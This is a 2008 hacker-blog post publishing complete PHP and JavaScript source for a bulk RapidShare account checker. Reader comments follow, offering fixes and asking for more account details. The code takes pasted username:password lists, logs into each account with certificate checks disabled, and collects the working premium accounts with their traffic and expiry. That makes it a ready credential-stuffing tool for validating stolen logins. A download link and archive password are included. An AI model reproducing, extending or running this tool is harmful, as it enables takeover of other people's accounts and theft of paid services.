Reiluke

nobody is safe online

PHP/ajax rapidshare multiple account checker by reiluke

November 9, 2008

Index.php

<?php $password = “reiluke”; ?>
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=iso-8859-1″ />
<title>PHP rapidshare account checker by reiluke</title>
<style type=”text/css”>
<!–
body {
   background-color: #000000;
}
body,td,th {
   color: #FFFFFF;
}
–>
</style>
<script type=”text/javascript” language=”javascript” src=”rsajax.js”></script>
</head>
<body>

<?php //main page
if (isset($_POST[”password”]) && ($_POST[”password”]==”$password”)) {
?>
<div align=”center”>-PHP Rapidshare account checker by reiluke-
<form action=”javascript:get(document.getElementById(’acctform’));” name=”acctform” id=”acctform”>
   <p>
     <textarea rows=”1″ cols=”1″ style=”width: 50%; height: 140px” id=”accounts”></textarea>
     <br />username:password</p><p>
     <input type=”submit” name=”button” value=”Check Accounts” onclick=”return Tab_Click(this)”>
</form>
      </p>
<div align=\”center\”>
<div id=”waiting”></div>
<div id=”showresults”></div>
</div>

<?php //access denied page
}
else
{
  print “<h2 align=\”center\”>-PHP Rapidshare account checker by reiluke-</h2>”;
if (isset($_POST[’password’]) || $password == “”) {
  print “<p align=\”center\”><font color=\”red\”><b>Incorrect Password</b><br>Please enter the correct password</font></p>”;}
  print “<form method=\”post\”><p align=\”center\”>Please enter your password for access<br>”;
  print “<input name=\”password\” type=\”password\” size=\”25\” maxlength=\”10\”><input value=\”Login\” type=\”submit\”></p></form>”;
}
?>
<BR>
<body></html>

getrsaccounts.php

<?php   

if (isset ($_POST[’accounts’])) {
   set_time_limit(0);
   $dtaaccounts = nl2br($dtaaccounts);
   $dtaaccounts = explode(”\n”, $_POST[’accounts’]);
   //Header
   echo “<table font-size=1 width=\”50%\” border=1 cellspacing=\”0\” cellpadding=\”7\”>”.
       “<tr><th>Username</th> <th>Password</th><th>Points</th><th>Traffic</th><th>Validity</th></tr>”;

foreach ($dtaaccounts as &$value) {
    list($User, $Pass) = split(”:”, $value);
   if (empty($User)==FALSE || empty($Pass)==FALSE){
      $ch = curl_init();
      curl_setopt($ch, CURLOPT_URL, “https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi”);
      curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
      curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
      
      //set proxy here
      
      //curl_setopt($ch, CURLOPT_PROXY, ‘http://127.0.0.1:8080′);
      //curl_setopt($ch, CURLOPT_PROXYPORT, 8080);
        //curl_setopt ($ch, CURLOPT_PROXYUSERPWD, ‘’);
   
      curl_setopt($ch, CURLOPT_POST, 1);
      curl_setopt($ch, CURLOPT_POSTFIELDS, “login=”.$User.”&password=”.$Pass);
      $pagedata = curl_exec($ch);
      curl_close($ch);

      //get rapidshare details
      ereg(”<td>TrafficShare left:</td><td align=right style=\”padding-right:20px;\”><b>([0-9\.]+) GB</b>”, $pagedata, $traffic);
      ereg(”<td>RapidPoints:</td><td align=right style=\”padding-right:20px;\”><b>([0-9\.]+)</b>”, $pagedata, $points);
      ereg(”<td>Expiration date:</td><td style=\”padding-right:20px;\”><b>([a-zA-Z\_0-9\ .,]+)</b>”, $pagedata, $valid);
      ereg(”with ([0-9\.]+)”, $pagedata, $files);
      
      //display if valid
      if(empty($valid[1])==FALSE){
      echo “<tr>”.”<td>$User</td>”.”<td>$Pass</td>”.”<td>$points[1]</td>”.”<td>$traffic[1] GB</td>”.”<td>$valid[1]</td>”.”</tr>”;   
      $validrs[] = $User . “:” . $Pass . “:” . $points[1] . “:” . $traffic[1] . “:” . $valid[1];
      }
      unset($valid);
                                                }
                           }
      echo “</table>Formatted Output:<p><textarea rows=\”1\” cols=\”1\” style=\”width: 50%; height: 140px\”>”;
      foreach ($validrs as &$value) {
         echo $value . “\n”;
         }
      echo “</textarea>”;
            }
      
?>

rsajax.js


  var http_request = false;
   function makePOSTRequest(url, parameters) {
      http_request = false;
      if (window.XMLHttpRequest) {
         http_request = new XMLHttpRequest();
         if (http_request.overrideMimeType) {
            http_request.overrideMimeType(’text/html’);
         }
      } else if (window.ActiveXObject) {
         try {
            http_request = new ActiveXObject(”Msxml2.XMLHTTP”);
         } catch (e) {
            try {
               http_request = new ActiveXObject(”Mcft.XMLHTTP”);
            } catch (e) {}
         }
      }
      if (!http_request) {
         alert(’Cannot create XMLHTTP instance’);
         return false;
      }
     
      http_request.onreadystatechange = alertContents;
      http_request.open(’POST’, url, true);
      http_request.setRequestHeader(”Content-type”, “application/x-www-form-urlencoded”);
      http_request.setRequestHeader(”Content-length”, parameters.length);
      http_request.setRequestHeader(”Connection”, “close”);
      http_request.send(parameters);
   }

   function alertContents() {
      if (http_request.readyState == 4) {
         if (http_request.status == 200) {
            result = http_request.responseText;
         document.getElementById(’waiting’).innerHTML = ‘’;
            document.getElementById(’showresults’).innerHTML = result;           
         } else {
            alert(’There was a problem with the request.’);
         }
      }else{
     document.getElementById(’waiting’).innerHTML = ‘<img src=”loading.gif”>’;}
   }
   
   function get(obj) {
      var poststr = “accounts=” + encodeURI( document.getElementById(”accounts”).value );
      makePOSTRequest(’getrsaccounts.php’, poststr);
   }

or download the code

pinoyhacker.freehostia.com/phpcheckbyreiluke.rar

pass: reiluke

server needs curl enabled and timelimit else it fails, i suggest a paid hosting or local desktop server
simple php code
simple ajax to display results
password protected page default pass is reiluke, change the pass at index.php 1st line

Posted by reiluke at 12:36 am | permalink

Previous Comments

i have try it, and there is some bug i think.
if the acc not found its show the unfriendly message in coloumn. but i will try again maybe its something wrong wth host.
Btw. its work PERFECT!

Posted by Patchme at December 2, 2008, 6:04 pm

Great script :)

Thnx man for ur hard work :D

Posted by ghprod at December 5, 2008, 2:31 pm

please code it showing security lock, download traffic left etc

Posted by MastiArea at January 4, 2009, 12:35 pm

I dont’t think it is Great script. This code does not give full information of an account. Ex: Traffic left, Security lock…

Posted by tester at January 5, 2009, 10:51 am

This code does not give full information of an account. Can you fix it? Like this:

http://biethet.com/checkrapid

Posted by tester at January 5, 2009, 10:54 am

This code is quite good .

Just a little changes are required to make it check the Security Lock Status and Traffic left .

Thanks for the ideas to reiluke :)

Also , the last foreach loop in getrsaccounts.php should be placed in an if statement as follows :

if(!empty($validrs))
{
foreach ($validrs as &$value) {
echo $value . “\n”;
}
}

Since if the account is not working then $validrs will be empty and foreach will give an error . So the if statement now checks if its empty or not .

Posted by c0d3inj3ct at January 19, 2009, 8:19 pm

gelek sıpas hevalen reiluke
navemın musa yı
şınanım ez
ez dı kuna tıre pisnım

Posted by musa at February 4, 2009, 2:33 am


I have added more futures and changes in the script to show everithing info from rapidshare.com abaut the account.
The script can show you the email if the account is locked-Secured

http://www.rschk.co.cc

Posted by EaS at April 8, 2009, 8:17 am

I have added more futures and changes in the script to show everithing info from rapidshare.com abaut the account.
The script can show you the email if the account is locked-Secured

Posted by EaS at April 8, 2009, 8:18 am

http://reiluke.i.ph/blogs/reiluke/2009/01/09/php-rapidshare-multi-account-checker-with-security-lockemail-fixed-traffic-left/

contains email security lock and and traffic etc..

better you setup yourself, we dont know what you added to the script right ? :)

Posted by reiluke at April 8, 2009, 10:02 am

All comments are moderated. Your comments will not appear here unless approved by the blog owner. Thank you.

Add a comment








Meter